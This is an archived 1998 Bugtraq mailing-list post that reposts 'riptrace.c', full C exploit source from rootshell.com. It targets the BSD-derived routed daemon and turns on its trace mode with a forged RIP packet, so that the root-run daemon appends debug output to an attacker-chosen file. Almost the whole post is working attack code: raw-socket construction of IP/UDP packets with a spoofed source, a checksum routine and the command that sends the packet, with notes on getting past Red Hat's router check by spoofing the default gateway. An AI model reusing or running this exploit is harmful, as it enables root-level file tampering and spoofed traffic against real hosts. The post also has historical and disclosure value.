riptrace.c
X-RDate: Fri, 09 Jan 1998 09:04:10 +0500 (ESK)
Date: Thu, 8 Jan 1998 15:19:03 -0600
From: Aleph One <aleph1@DFW.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: riptrace.c
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More goodies from rootshell.com.
http://www.rootshell.com/archive-Rbf4ahcmxzw5qn2S/199801/riptrace.c
/*
* BSD 4.4 based routed trace file exploit
*
* (C) 1997 Rootshell [ http://www.rootshell.com/ ]
*
* <info@rootshell.com>
*
* routed has the ability for a packet to be sent to the daemon that will
* turn on debug mode. The packet is able to specify the file which is
* later opened without any checks being placed on that file open.
*
* Result: You can append to any file on the filesystem.
*
* The following syscall is made AS ROOT.
*
* ftrace = fopen(file, "a");
*
* This is obviously a LARGE problem.
*
* Solaris 2.6 seems to ignore these packets and returns the following
* error. Mileage may vary.. :
*
* in.routed[6580]: trace command from 1.2.3.4 - ignored
*
* Redhat routed was tested and found to check if the packet came from
* a valid router. If you spoof the RIP packet from their default
* gateway the packet is ACCEPTED.
*
* Note: Once a trace file is opened you must close the trace file and then
* open another file.
*
* Exploit tested under Linux 2.0.x.
*
* ps. Just run gated! (http://www.gated.org/)
*
*/
/* File to append to on filesystem with debug output */
#define FILETOCREATE "/tmp/rootshell"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <linux/udp.h>
#include <netinet/protocols.h>
#include <netdb.h>
#include <protocols/routed.h>
#include <linux/route.h>
#define err(x) { fprintf(stderr, x); exit(1); }
#define errs(x, y) { fprintf(stderr, x, y); exit(1); }
/*
* in_cksum --
* Checksum routine for Internet Protocol family headers (C Version)
*/
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
/* Send faked UDP packet. */
int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
struct sockaddr_in *sin;
unsigned short int s, datalen, sport, dport;
unsigned long int saddr, daddr;
char *data;
{
struct iphdr ip;
struct udphdr udp;
static char packet[8192];
/* Fill in IP header values. */
ip.ihl = 5;
ip.version = 4;
ip.tos = 0;
ip.tot_len = htons(28 + datalen);
ip.id = htons(31337 + (rand()%100));
ip.frag_off = 0;
ip.ttl = 255;
ip.protocol = IPPROTO_UDP;
ip.check = 0;
ip.saddr = saddr;
ip.daddr = daddr;
ip.check = in_cksum((char *)&ip, sizeof(ip));
/* Fill in UDP header values. Checksums are unnecassary. */
udp.source = htons(sport);
udp.dest = htons(dport);
udp.len = htons(8 + datalen);
udp.check = (short) 0;
/* Copy the headers into our character array. */
memcpy(packet, (char *)&ip, sizeof(ip));
memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);
return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0,
(struct sockaddr *)sin, sizeof(struct sockaddr_in)));
}
/* Lookup the name. Also handles a.b.c.d dotted quads. Returns 0 on error */
unsigned int lookup(host)
char *host;
{
unsigned int addr;
struct hostent *he;
addr = inet_addr(host); /* Try if it's a "127.0.0.1" style string */
if (addr == -1) /* If not, lookup the host */
{
he = gethostbyname(host);
if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
return 0;
bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
}
return(addr);
}
void
main(argc, argv)
int argc; char **argv;
{
unsigned int saddr, daddr;
struct sockaddr_in sin;
int s;
struct rip rp;
if(argc != 4)
errs("\nSee http://www.rootshell.com/\n\nUsage: %s <source_router> <dest_addr> <command>\n\ncommand: 3 = trace on, 4 = trace off\n\n",argv[0]);
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
err("Unable to open raw socket.\n");
if(!(saddr = lookup(argv[1])))
err("Unable to lookup source address.\n");
if(!(daddr = lookup(argv[2])))
err("Unable to lookup destination address.\n");
sin.sin_family = AF_INET;
sin.sin_addr.s_addr= daddr;
sin.sin_port = 520;
/* Fill in RIP packet info */
rp.rip_cmd = atoi(argv[3]); /* 3 = RIPCMD_TRACEON, 4 = RIPCMD_TRACEOFF */
rp.rip_vers = RIPVERSION; /* Must be version 1 */
sprintf(rp.rip_tracefile, FILETOCREATE);
if((sendpkt_udp(&sin, s, &rp, sizeof(rp), saddr, daddr, 520, 520)) == -1)
{
perror("sendpkt_udp");
err("Error sending the UDP packet.\n");
}
}
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